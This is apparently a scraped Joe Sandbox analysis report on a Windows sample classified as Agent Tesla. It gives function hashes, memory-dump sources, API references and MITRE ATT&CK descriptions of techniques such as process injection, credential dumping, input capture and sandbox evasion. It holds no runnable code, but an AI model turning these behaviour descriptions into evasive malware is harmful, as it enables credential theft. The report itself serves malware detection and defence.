Opcode Fuzzy Hash: 764c9d3f32ee0cbe6b7eaaf6ad5e9266bf3133503dc30aedc0505ecbbb1d4d01
Instruction Fuzzy Hash: 0D413A31E457089FDB48CFA6E8406EDBBB2EBD4320F25C66BD404ABA64D7384C42CB50

Uniqueness

Uniqueness Score: -1.00%

Function 014A79A9 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da914aa70430d4fdfb6a9d8413c6d24ebcd429fdff6e0185f92180c187faf264
Instruction ID: 2b4402bc021a559b2824dca8a599449d0775d1f2443972d7ef1b288489121d3e
Opcode Fuzzy Hash: da914aa70430d4fdfb6a9d8413c6d24ebcd429fdff6e0185f92180c187faf264
Instruction Fuzzy Hash: D9412D71D056948FEB19CF6A9C406DABFB3AFC9300F19C1FAD408AA265DB350946CF41

Uniqueness

Uniqueness Score: -1.00%

Function 014A5ED8 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.431128841.00000000014A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_14a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0547f04c181a148cd472caa2afd2befba41ba7ee37c30914545b5567d3bafcf8
Instruction ID: 9387135075beadaa971a5ee975c282a4d4009f727396adcf8cba5925cb336431
Opcode Fuzzy Hash: 0547f04c181a148cd472caa2afd2befba41ba7ee37c30914545b5567d3bafcf8
Instruction Fuzzy Hash: AD310A71E01618DBDB08CFAAD940ADEFBF6AFC8300F24C52AE508AB268D73049418F54

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: cvtres.exePID: 7028, Parent PID: 6912COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.3%
Total number of Nodes:	92
Total number of Limit Nodes:	3

Executed Functions

Function 0A8A73D0 Relevance: 2.3, APIs: 1, Instructions: 760
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 0A8A7B58

Memory Dump Source

Source File: 00000004.00000002.692137954.000000000A8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a8a0000_cvtres.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 88d1de360e2b5dc46db729a8d49785ec35d03d09feeb14da0e03239a622fa01d
Instruction ID: 25299883ec116e800d8aea470a9733e253c81cbfa73dbd92951ce4142b723a1c
Opcode Fuzzy Hash: 88d1de360e2b5dc46db729a8d49785ec35d03d09feeb14da0e03239a622fa01d
Instruction Fuzzy Hash: 54621871E106188FDB24EF78C95469DB7B2AF89304F1089A9D50AEB350EF309E85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0AB5D9F0 Relevance: 1.8, APIs: 1, Instructions: 297
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.692300920.000000000AB50000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AB50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ab50000_cvtres.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: c25cad4d43d1047fce72311cb86674384cd92a62cbf346adb7fc345c0660a6ae
Instruction ID: 0ae6a868a54291fcb8c913b10c7660c813c515830e447721e5bf9dc51a2063ce
Opcode Fuzzy Hash: c25cad4d43d1047fce72311cb86674384cd92a62cbf346adb7fc345c0660a6ae
Instruction Fuzzy Hash: DFB1AD74B007058FCB14EF79C4946AEBBF6FF89214B048A69C806DB751DB74E8068F95

Uniqueness

Uniqueness Score: -1.00%

Function 0AB5B850 Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.692300920.000000000AB50000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AB50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ab50000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d8db11c37c1aac1d24197916996c6b231d051e16163bd24b0cde66b70c7fcad
Instruction ID: f61092b7dfd6db527e2e28c388ba54948d2fe43ead9a4985efa778f7331f3e90
Opcode Fuzzy Hash: 6d8db11c37c1aac1d24197916996c6b231d051e16163bd24b0cde66b70c7fcad
Instruction Fuzzy Hash: 5B411071E107498FCB14CFB9C8447EEBBF5EF89210F1489AAD844A7291EB389845CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 0AB5D0F4 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0AB5EE22

Memory Dump Source

Source File: 00000004.00000002.692300920.000000000AB50000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AB50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ab50000_cvtres.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 7a9213d05b279a8775acfa73a0da16e185e2f16d82bbfb283f8f14e0d83098b5
Instruction ID: 19cc935c2aade2698cb9511bf5341bb5d9f42700f37ce4cc01364d1545b541f5
Opcode Fuzzy Hash: 7a9213d05b279a8775acfa73a0da16e185e2f16d82bbfb283f8f14e0d83098b5
Instruction Fuzzy Hash: 9A51B3B1D10309DFDB14CFAAC884ADEBBB5FF48314F24856AE815AB250D774A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 054DC8E4 Relevance: 1.6, APIs: 1, Instructions: 90
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 054DC9BA

Memory Dump Source

Source File: 00000004.00000002.689730831.00000000054D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_54d0000_cvtres.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 56f5e90323ec2eb81b0659d8ae0a0243102c3d33917875dec02e49c066017d02
Instruction ID: d5c52d413e9eb74e7bad65aaa391640f85ad999e2b27e30a9fe204f44c0d2e03
Opcode Fuzzy Hash: 56f5e90323ec2eb81b0659d8ae0a0243102c3d33917875dec02e49c066017d02
Instruction Fuzzy Hash: 933112B0D002599FCB14CFA9D8957DEFBB1BB08314F14856AE816AB380D7789885CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 054D9DC0 Relevance: 1.6, APIs: 1, Instructions: 89
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?), ref: 054DC9BA

Memory Dump Source

Source File: 00000004.00000002.689730831.00000000054D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_54d0000_cvtres.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 0a5079690b7fc5eebee30691212cf7490c6350f32727a9c82aa9f9863ad680bd
Instruction ID: 0b0898fcf43a9f2d796f7a87f2e2491d11845573495c8fd49049a7fcf4a5ed3e
Opcode Fuzzy Hash: 0a5079690b7fc5eebee30691212cf7490c6350f32727a9c82aa9f9863ad680bd
Instruction Fuzzy Hash: C73112B0D042499FCB14CFA9C895BDEFBB1BB08314F14856AE816A7380D7789845CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 054DFEBA Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 054DFF47

Memory Dump Source

Source File: 00000004.00000002.689730831.00000000054D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_54d0000_cvtres.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d5aba4b7b189af66e3b0cd1dd119269fcbdbc174431f256e39aa1f449551f9e0
Instruction ID: f2b9e38be1b5403fa1a289352027b1487eb820de0493abc234ae9f66d81ca8c4
Opcode Fuzzy Hash: d5aba4b7b189af66e3b0cd1dd119269fcbdbc174431f256e39aa1f449551f9e0
Instruction Fuzzy Hash: 9B21E3B5D00249AFDB10CFA9D884AEEFBF8FB48314F14842AE915A7310C378A944CF61

Uniqueness

Uniqueness Score: -1.00%

Function 054DFEC0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 054DFF47

Memory Dump Source

Source File: 00000004.00000002.689730831.00000000054D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_54d0000_cvtres.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3fd60261f98d08480607603f977bf11733dea3a64b4c5755129eb2056ea6295b
Instruction ID: 56d662b02100abf96bd6a41250a36d652c1e5cdd223052404cad1ed69209799c
Opcode Fuzzy Hash: 3fd60261f98d08480607603f977bf11733dea3a64b4c5755129eb2056ea6295b
Instruction Fuzzy Hash: 4C21E6B59002489FDB10CF9AD484ADEFBF8FB48314F14842AE915A3310C374A944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 054D4CB8 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000), ref: 054D4D42

Memory Dump Source

Source File: 00000004.00000002.689730831.00000000054D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_54d0000_cvtres.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 1c9dcf2414f79c6ee5601e7275d15d65711312bc6b5983e5be771ead1a8997b2
Instruction ID: 56401d1cf3dca814cb25dae5b1d1c89e4c1d0636b14b169b662073d297d037ea
Opcode Fuzzy Hash: 1c9dcf2414f79c6ee5601e7275d15d65711312bc6b5983e5be771ead1a8997b2
Instruction Fuzzy Hash: 9B21B8B18013868FCF20EFA8DA087DEBBF4FB0A314F14846AD409A3A41C7786444CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 054D4CC8 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEncodePointer.NTDLL(00000000), ref: 054D4D42

Memory Dump Source

Source File: 00000004.00000002.689730831.00000000054D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 054D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_54d0000_cvtres.jbxd

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 30706bf800d58cca54aed71edfee07633d611c8ef4c9fd3946db87f5d812a903
Instruction ID: 3e18c8d0b1777842a6632f19ba2469bd9ef8395ec05da95a834e8a5c317c2137
Opcode Fuzzy Hash: 30706bf800d58cca54aed71edfee07633d611c8ef4c9fd3946db87f5d812a903
Instruction Fuzzy Hash: 111186B09003498FCF60DFA9C6087DEBBF8FB4A314F20842AD409A3A41C778A444CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0AB5D01C Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0AB5DD96

Memory Dump Source

Source File: 00000004.00000002.692300920.000000000AB50000.00000040.00000800.00020000.00000000.sdmp, Offset: 0AB50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ab50000_cvtres.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: a4dd35a17a26d9235f06324e2387e170d38ecfb59240eb0083e1b8f04401b0bc
Instruction ID: 7d7e8e734022b3f62386355e8223861ce111b38047afc1b14173331d33a6b035
Opcode Fuzzy Hash: a4dd35a17a26d9235f06324e2387e170d38ecfb59240eb0083e1b8f04401b0bc
Instruction Fuzzy Hash: E51102B5C006598FCB20CFAAC444BDEFBF8EF88224F14856AD819B7650D379A545CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 09AFD908 Relevance: .8, Instructions: 823COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.691651585.0000000009AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9af0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201be869f7e6539e0d90c317533525c4bdbe0a890fe2b00cc3384041fe1573f1
Instruction ID: 1a307c3f25c28bf28db36440eaea400809f65739b32e5a25812b8ad293a2688c
Opcode Fuzzy Hash: 201be869f7e6539e0d90c317533525c4bdbe0a890fe2b00cc3384041fe1573f1
Instruction Fuzzy Hash: 41728134A0021C8FDF64DBA0C854BEEBBBAEF95304F1088A9D10A6B794DF359D459F61

Uniqueness

Uniqueness Score: -1.00%

Function 09AFE758 Relevance: .3, Instructions: 315COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.691651585.0000000009AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9af0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28df38b4fad75e586e0549f1f259659d74af50368f53bf148b462a6551f10286
Instruction ID: 9f99b4c81b7e5dda56f9bbd0e785a6ca73674ced0c354b1a15524c496d5f22bc
Opcode Fuzzy Hash: 28df38b4fad75e586e0549f1f259659d74af50368f53bf148b462a6551f10286
Instruction Fuzzy Hash: 19D1FA75A001158FCB14DFA9D594AADBBF6FF88B11B2680A9F516AB371C730EC41CB50

Uniqueness

Uniqueness Score: -1.00%

Function 09AFE639 Relevance: .3, Instructions: 303COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.691651585.0000000009AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9af0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60e49be50ed2a18680a650c606ecb37206e974db191e925a72f02df007c91ec9
Instruction ID: b78c79118f4e5ffd0ebbad43ca45e3acfa543d8db06d3fc7b4b6490d10bfd428
Opcode Fuzzy Hash: 60e49be50ed2a18680a650c606ecb37206e974db191e925a72f02df007c91ec9
Instruction Fuzzy Hash: 3AC10875E001198FCB14DFA9D998AADBBF6FF88710B268069E516AB371C730EC41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 09AFF168 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.691651585.0000000009AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9af0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edb98da91811eed8a2bf61966bc57c8a2cd9077a6cad058030b2d4d53118e572
Instruction ID: 19b4b5d7f64d1fc6120bffbec3bf0c07e9cca5786527f09d26eacd143c3ed256
Opcode Fuzzy Hash: edb98da91811eed8a2bf61966bc57c8a2cd9077a6cad058030b2d4d53118e572
Instruction Fuzzy Hash: 3A817035A00215CFCB15CFA9C494AAEBBB5FF44710F5684AAFA559B3A2C730EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 09AFF3DA Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.691651585.0000000009AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9af0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46dcfebce154806aaf369a158adcc14fa24fa31ccc20ee27696053dd494bd681
Instruction ID: 9f035e65581f2aed06df5cc23492b303d83691c2d7eac90055005a0d10f0ae4a
Opcode Fuzzy Hash: 46dcfebce154806aaf369a158adcc14fa24fa31ccc20ee27696053dd494bd681
Instruction Fuzzy Hash: C841E3313042148FCB16DF65D8696B93BE6EF89752B04806AFA46CB3A1DB38CC11DB71

Uniqueness

Uniqueness Score: -1.00%

Function 09AFF330 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.691651585.0000000009AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9af0000_cvtres.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1627a6068b6c8e9542e0fda5357241cd754bec2914cb18acfa150c761eb3bf4
Instruction ID: 541fd268f2e71c90186c0b0f60454039234b39f572ce71e210631e7f0f3b0300
Opcode Fuzzy Hash: b1627a6068b6c8e9542e0fda5357241cd754bec2914cb18acfa150c761eb3bf4
Instruction Fuzzy Hash: 6B118F71A0021A9FCB10DFA9D8556EEFBF9FF48710F00852AF925E3200D7748A05CBA1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 09AFB648 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

sl, xrefs: 09AFB686
sl, xrefs: 09AFB654
sl, xrefs: 09AFB65E
sl, xrefs: 09AFB67A

Memory Dump Source

Source File: 00000004.00000002.691651585.0000000009AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9af0000_cvtres.jbxd

Similarity

API ID:
String ID: sl$sl$sl$sl
API String ID: 0-3630607881
Opcode ID: cd1c6f47fa939d64d5eae6b348bac1036a558eee469f0eae43d3a11b0556e66a
Instruction ID: ace41fd1773b64be236ba7d9fea23a643e9bd46b00f4d4fb1090912265b0fc8a
Opcode Fuzzy Hash: cd1c6f47fa939d64d5eae6b348bac1036a558eee469f0eae43d3a11b0556e66a
Instruction Fuzzy Hash: 8E017C317108108F87A49BA9C56192A77FEBFDAFA0315816AF60ACF371DE30DC4187A1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.9881

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.exe.log

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
SecuriteInfo.com.W32.MSIL_Kryptik.HRZ.genEldorado.12789.9881

Function 014ABEB4 Relevance: 4.2, Strings: 3, Instructions: 483
COMMON

Function 014A896F Relevance: 4.2, Strings: 3, Instructions: 406
COMMON

Function 014A8AF0 Relevance: 4.0, Strings: 3, Instructions: 260
COMMON

Function 014A99DD Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 326
processCOMMON

Function 014A99E8 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 321
processCOMMON

Function 014A9659 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 119
injectionCOMMON

Function 014A97B0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107
COMMON

Function 014A9320 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76
threadCOMMON

Function 014A9660 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116
injectionCOMMON

Function 014A97B8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 106
COMMON

